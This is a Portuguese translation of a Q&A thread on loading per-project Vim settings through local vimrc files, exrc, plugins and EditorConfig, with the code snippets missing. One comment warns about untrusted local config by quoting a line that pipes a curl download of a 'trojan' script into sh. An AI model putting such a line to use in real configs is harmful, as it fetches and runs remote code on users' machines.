No meu trabalho, usamos um padrão ts
de 2; minha preferência pessoal é 4, que é o que eu uso para meus projetos de hobby, e esse outro projeto que herdamos tem a convenção de ts=8
.
Há também outras configurações que quero definir com base no projeto (por exemplo, dobrar). Basear essas configurações no tipo de arquivo ou detectá-las automaticamente com base no que o arquivo usa não são boas opções, pois quero respeitar as convenções de cada projeto.
Posso fazer o Vim usar um arquivo de configurações que se aplica a um projeto (tudo em uma árvore de diretórios) sem adicionar uma modelagem a todos os arquivos?
vimrc
filesystem
Martin Tournoij
fonte
fonte
Respostas:
Existem algumas maneiras leves de fazer isso.
Verifique se há um arquivo com o nome fornecido e origine-o
O arquivo está oculto no exemplo, mas é opcional.
.vimrc
Arquivos locais (não iguais ao plugin)Isso é semelhante ao 1., mas o arquivo será chamado ".vimrc".
Uma sugestão comum para acompanhar isso é usar
o que impede que um
.vimrc
arquivo faça coisas potencialmente perigosas, como executar comandos do shell. A idéia é que você não queira que o vim leia um.vimrc
arquivo escrito por outra pessoa que faça algo desagradável.Autocommands que verificam o caminho atual
Esta é a opção que eu uso. Eu não mudo muito entre projetos diferentes, então YMMV, mas se você quiser fazer uma ou duas coisas com base no caminho e mantê-lo no seu,
.vimrc
isso é agradável e simples.fonte
Eu uso o localvimrc para esse fim.
Coloque um
.lvimrc
com as configurações do seu projeto dentro do seu projeto e essas configurações substituirão as configurações.vimrc
.Por padrão, você será perguntado se deseja obter este arquivo, por exemplo:
Isso evita o fornecimento de arquivos vimrc aleatórios (não confiáveis). Se você achar isso irritante, poderá configurar uma lista de permissões de
.lvimrc
arquivos comg:localvimrc_whitelist
:Ou você pode simplesmente desativar a solicitação de confirmação completamente com
set g:localvimrc_ask = 0
. Isso não é recomendado, no entanto.fonte
Configuração central
Se não há problema em configurar os comandos específicos / exceções locais centralmente, você pode colocar esses autocmds no seu
~/.vimrc
:É importante usar em
:setlocal
vez de:set
, e da mesma forma:map <buffer> ...
e:command! -buffer ...
.Por outro lado, se você deseja que a configuração específica seja armazenada com o projeto (e não deseja incorporar isso em todos os arquivos via modelines ), você tem as duas opções a seguir:
Configuração local com funcionalidade incorporada
Se você sempre iniciar o Vim a partir do diretório raiz do projeto, o
permite a leitura de um
.vimrc
arquivo do diretório atual. Você pode colocar os:set ts=4 sw=4
comandos lá.Configuração local através do plugin
Caso contrário, você precisa da ajuda de um plugin; existem vários no vim.org; Posso recomendar o plug-in localrc , que permite até a configuração específica do tipo de arquivo local.
Observe que a leitura da configuração do sistema de arquivos tem implicações de segurança; você pode querer
:set secure
.fonte
.exrc
são extremamente limitados: a noção do projeto para no diretório atual, ou seja, os arquivos nos subdiretórios não pertencem ao projeto.Existe o projeto Editor Config , que permite definir configurações no nível do projeto, como configurações de tabstop, além de novos estilos de linha e outras coisas. Existem muitos plugins para todos os tipos de editores, incluindo o vim . Também permite definir configurações para diferentes tipos de arquivos.
fonte
Eu escrevi isso e o adicionei ao meu .vimrc para permitir que eu coloque arquivos .vimsettings em projetos e subprojetos.
fonte
system('curl http://example.com/install-trojan.sh | sh')
...Eu queria isso, então apenas o implementei localmente. Não estou tão preocupado com "executar código aleatório", mas isso pode funcionar para necessidades simples. Ajuste os nomes dos arquivos conforme necessário.
Este
local.vimrc
é na verdade um link simbólico para um arquivo em minha coleção substancial de arquivos vimrc per-empresa que eu possa manter no controle de origem em outro lugar, o que torna fácil para mover toda a minha configuração para outras máquinas ou se eu visitar uma empresa on-site ou algo . As configurações em cascata podem ser usadas, mas na prática não preciso dessa funcionalidade. Também ligo F8para abrir o arquivo encontrado e meu "main".vimrc
em uma nova guia ...Dentro dessas configurações locais, uma vez que são analisadas para cada arquivo aberto, defina os mapeamentos e configurações para buffer-local. Por exemplo
fonte